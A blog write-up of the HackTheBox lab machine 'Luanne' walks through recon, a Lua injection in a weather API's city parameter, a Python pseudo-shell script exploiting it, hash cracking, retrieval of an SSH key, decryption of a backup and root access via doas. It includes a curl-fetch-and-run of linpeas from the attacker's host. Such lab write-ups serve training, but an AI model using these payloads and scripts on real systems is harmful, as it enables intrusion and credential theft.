Blog Luanne - HackTheBox
Post
Cancel

Luanne - HackTheBox

This HackTheBox can be found here.

Luanne is included in TJnull’s OSCP, OSEP, and OSWE list.

Recon

Like always, we’ll start with a Nmap scan:

1
sudo nmap -T4 -p- -oN allports -sC -sV 10.10.10.218
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Nmap scan report for 10.10.10.218
Host is up (0.022s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
|   3072 20977f6c4a6e5d20cffda3aaa90d37db (RSA)
|   521 35c329e187706d7374b2a9a204a96669 (ECDSA)
|_  256 b3bd316dcc226b18ed2766b4a72ae4a5 (ED25519)
80/tcp   open  http    nginx 1.19.0
|_http-server-header: nginx/1.19.0
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-title: 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
|_http-server-header: Medusa/1.12
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd


Port 80

If we browse to http://10.10.10.218/ we get a basic auth prompt:

basicauth


Nmap found that we can access robots.txt. Browsing to it, we see one entry:

robots.txt


The entry states #returning 404 but still harvesting cities. This is confirmed by browsing to http://10.10.10.218/weather.txt:

weather


Port 9001

If we browse to http://10.10.10.218:9001/, we get another basic auth prompt:

second basic auth prompt


Nmap tells us that the server is running Medusa httpd 1.12 (Supervisor process manager). Googling this, I found a gist of an unauthenticated POC. After quickly running the script, I wasn’t getting a shell back, so I moved on.


Initial Foothold

After I did some basic enumeration, I used gobuster to further enumerate the web app. After a first run, I reran it starting at /weather and found a directory of /weather/forcast:

1
gobuster dir -u http://10.10.10.218/weather -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

running gobuster


Browsing to /weather/forcast we see the following:

forecast


I switched over to Burp, and hit the endpoint with a parameter of city=list:

forecast


We get a list of cities. If we specify a city, the server returns details of the weather:

london


Next, I sent a payload of ?city=' to test for SQLi:

lua


We get a Lua error. After seeing this, I searched for methods to execute commands/SQLi through Lua and eventually found a working payload:

1
http://10.10.10.218/weather/forecast?city=%27)%3bos.execute("pwd")--

rce


Since we have remote code execution through a GET request, I wrote a quick Python script to gain a ‘pseudo shell’:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3

import requests

def request(command):
	URL = "http://10.10.10.218/weather/forecast?city=%27)%3bos.execute(\"" + command +  "\")--"
	output = str(requests.get(url = URL).content.strip())
	output = output.replace('b\'{\"code\": 500,\"error\": \"unknown city: ', '').strip()
	output = output.replace('\\n', '\n').replace("'", '')

	print(output)

while True:
	command = input("HTB Luanne > ")
	request(command)

shell


I looked around a little and found hashed credentials located at /var/www/.htpasswd:

htpasswd

  • webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0


These hashed credentials should be for the basic auth prompts we saw. Using hash-identifier, we see the hash is MD5. Hashcat quickly cracks the hash to iamthebest:

1
2
echo '$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0' > hash
hashcat -m 500 hash /usr/share/wordlists/rockyou.txt

hashcat


I had a set of credentials, but couldn’t find a place to use them. Looking at etc/passwd, we can see a user named r.michaels:

users on the box


Privilege Escalation - r.michaels

If we list the running processes, we see one owned by r.michaels with the command of /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/:

listing all the processes


The above tells us that user r.michaels is running what appears to be an identical app. We can verify that this is the same app by using Curl in our pseudo shell:

1
curl http://127.0.0.1:3001/weather/forecast?city=list

curling internal app


After trying to pass in the same payload as before, I was getting errors and determined this version isn’t vulnerable as the public facing app. Looking back to the command used to start the app, we can see different options:

1
2
3
4
5
# Public facing app (port 3000
/usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www

# Internal app (port 3001)
/usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www


Looking at this page we can see the difference between the two commands.

  • -P is used to specify a PID file
  • -U is used to specify a user to run as
  • -b is used to specify a chroot directory. It is within r.michaels’s home directory on the internal app

Lastly, both commands are running with the -u flag. From the docs, this ‘Enables the transformation of Uniform Resource Locators of the form /~user/ into the directory ~user/public_html’. _httpd doesn’t have a home directory, but r.michaels does. This means that we should be able to access files within /home/r.michaels/ through the internal app.


From the httpd docs, we should be able to grab a directory listing if we run curl http://127.0.0.1:3001/~r.michaels/ within the pseudo shell, but I was getting authorization errors. Using the creds we cracked before, we can pass those to curl and grab the directory listing:

1
curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/

directory listing


We see id_rsa file and can grab it by running:

1
curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa


After we get the contents, we can save it and attempt to crack it with ssh2john. When I pass it to the tool, it reports that the key is not password protected:

id_rsa no password


Now that we have the key, we can use it to SSH in as r.michaels and grab the user flag:

1
2
3
# Make sure you run the below commands from the directory where you saved the private key
chmod 600 id_rsa
ssh -i id_rsa r.michaels@10.10.10.218

ssh in as r.michaels

user flag


Privilege Escalation - root

Within r.michaels’s home directory, we see a folder named backups with a single file named devel_backup-2020-09-16.tar.gz.enc:

backups directory


We can grab it by using scp:

1
2
# From your local machine
scp -i id_rsa r.michaels@10.10.10.218:backups/devel_backup-2020-09-16.tar.gz.enc .


After looking more into netbsd and the file, I realized that I needed to SSH back in and do more enumeration. Within /home/r.michaels/ we see a directory named .gnupg/ that contains pubring.gpg and secring.gpg:

gnupg directory


When looking at this link, we can see that we can use gpg to decrypt the contents, but gpg isn’t installed on the box. Going back to the docs, I found that I can use netphp:

1
2
3
4
5
6
7
8
9
10
11
12
# On the box
cd /home/r.michaels/backups

# Copy the file incase something goes wrong
cp devel_backup-2020-09-16.tar.gz.enc /tmp/devel_backup-2020-09-16.tar.gz.enc
cd /tmp


#Decrypt and extract the tarball
netpgp --output backup.tar.gz --decrypt devel_backup-2020-09-16.tar.gz.enc

# /tmp gets wiped every so often, so you may need to do the steps again

decrypting file


The backup looks pretty identical. Looking at .htpasswd we see credentials for webapi_user again, but the hash is different:

newhash

  • webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.


Just as before, we can crack the new hash to get a password of littlebear:

1
2
3
# On your local machine
echo '$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.' > backup.hash
hashcat -m 500 backup.hash /usr/share/wordlists/rockyou.txt

hashcat2


I was stuck again, so I brought over and ran linpeas.sh:

1
2
3
4
5
6
# On your local machine
python3 -m http.server 80

# On the box. Make sure to swap out the IP address
cd /tmp
curl http://10.10.14.9/linpeas.sh > linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh


From earlier testing, I found that sudo was not on the system, but linpeas reported that doas was installed:

doas

doas is a minimalistic sudo alternative, and I’ve found it as a privilege escalation vector on a few boxes.


Doas reads permissions from a config file. On this box, it’s located at /usr/pkg/etc/doas.conf. After reading it, we see we can perform any actions as root:

1
2
cat /usr/pkg/etc/doas.conf
# permit r.michaels as root

doasconf


We can try to list the contents of /root. Doas will prompt us for a password, but we can use littlebear:

1
doas ls /root

doasroot


We can now read the root flag and complete the box:

1
doas ls /root/root.txt

rootflag


This box is listed as easy difficulty, but I think it’s medium after completing it.

Contents